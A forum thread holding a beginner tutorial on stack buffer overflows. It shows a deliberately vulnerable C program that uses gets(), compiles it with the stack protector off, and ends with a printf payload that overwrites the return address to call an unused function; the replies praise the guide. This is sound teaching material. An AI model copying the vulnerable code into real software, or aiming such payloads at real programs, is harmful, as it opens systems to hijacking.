Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (2)

Powered by Vanilla. Made with Bootstrap.
Calling an uncallable function with a BoF
  • chroniccommand
    Posts: 1,389
    This will be a simple guide to calling an uncallable function with a Buffer OverFlow. There probably arent that many uses for this besides showing friends you can do some computer magic ;P but anyway it's a good example of simple buffer overflows.

    This guide assumes you have some decent knowledge with assembly and C. The examples are pretty easy anyway so you don't have to be an expert or anything.

    First off lets take a look at a simple C program, compile it and try it out.

    #include <stdio.h>
    #include <stdlib.h>

    neverCalled() {
    printf(\"I am never called!\n\");
    exit(0);
    }

    int main()
    {
    char buffer[100];
    printf(\"Enter some input:\n\");
    gets(buffer);
    puts(buffer);
    return 0;
    }

    It's pretty simple. We have a function called neverCalled() that just prints a message and exits. Of course, main doesn't call upon this function at all. Instead, main creates a buffer of 100 and gets some user input. Then it prints the user input. But we notice we use the gets() and puts() functions. These are bad. They're bad because they dont do any bounds checking to make sure the size of input is less than or equal to the size of the buffer. So this is easily exploitable. Lets compile:

    gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o vuln vuln.c
    /tmp/ccg3lwSN.o: In function `main':
    /tmp/vuln.c:13: warning: the `gets' function is dangerous and should not be used.

    So we compile with the no stack protector option and set the preferred stack boundary to 4. So lets try it out.

    [chronic@vandal tmp]$ ./vuln
    Enter some input:
    Hello iExploit, Poison, HaxMe, xPC, intern0t etc etc
    Hello iExploit, Poison, HaxMe, xPC, intern0t etc etc

    Ok, we inserted our text and it spit the text back out at us. What about if we try and overflow this buffer? Lets try 100 A's first and see what happens.

    [chronic@vandal tmp]$ ./vuln
    Enter some input:
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    Nothing. Lets increase the size a little bit more.

    [chronic@vandal tmp]$ ./vuln
    Enter some input:
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Segmentation fault

    So 105 As worked fine. Lets stick with 105.
    So now lets open this in gdb and check it out a bit.

    [chronic@vandal tmp]$ gdb -q vuln
    Reading symbols from /tmp/vuln...done.
    (gdb) run
    Starting program: /tmp/vuln
    Enter some input:
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    Program exited normally.
    (gdb) run
    Starting program: /tmp/vuln
    Enter some input:
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    Program received signal SIGSEGV, Segmentation fault.
    0x00414141 in ?? ()
    (gdb) i r eip
    eip 0x414141 0x414141

    So we run the program and input our As to overflow. After it puts the As onto the screen we get a SIGSEGV segmentation fault error. Then it prints out the memory address that caused it. Well lets take a look at eip shall we? Oh look, it's the same thing that caused the segmentation fault, 0x414141 which is just AAA in hex. Of course remember little endian, which makes this backwards ;P

    So we now know we can overflow it. Lets take a look in gdb further.

    [chronic@vandal tmp]$ gdb -q vuln
    Reading symbols from /tmp/vuln...done.
    (gdb) disas neverCalled
    Dump of assembler code for function neverCalled:
    0x08048404 <+0>: push %ebp
    0x08048405 <+1>: mov %esp,%ebp
    0x08048407 <+3>: sub $0x4,%esp
    0x0804840a <+6>: movl $0x8048520,(%esp)
    0x08048411 <+13>: call 0x804832c <puts@plt>
    0x08048416 <+18>: movl $0x0,(%esp)
    0x0804841d <+25>: call 0x804833c <exit@plt>
    End of assembler dump.

    What we do is disassemble our function neverCalled. We can see the call to puts and the call to exit. But this function is never called. So how do we call it? Simple, we just need the memory address of this function. In this case its 0x08048404
    So lets see if we can do anything with this.

    [chronic@vandal tmp]$ printf \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x04\x84\x04\x08\" | ./vuln
    Enter some input:
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
    I am never called!

    Boom. We first write 104 A's then we write our memory address of the neverCalled function. This will result in the neverCalled function actually being called. Now you may be wondering why I didn't use 105 A's. The answer is quite simple and it actually took me a while to figure out. We need to get the number of As it took to overwrite the buffer exactly. 105 and everything over 105 overwrites the buffer, but we need 104 considering thats when we get the segmentation fault for the first time. If you take a look in gdb, you'll see that the next address to be called is 0x08048404, which is our neverCalled function :D

    --chroniccommand
  • Xin
    Posts: 3,251
    Another nice guide chronic keep it up
    Xin
  • s1n4
    Posts: 88
    Simple and nice guide
    Thanks man :)
  • Bursihido
    Posts: 406
    Awesome Guide Chronic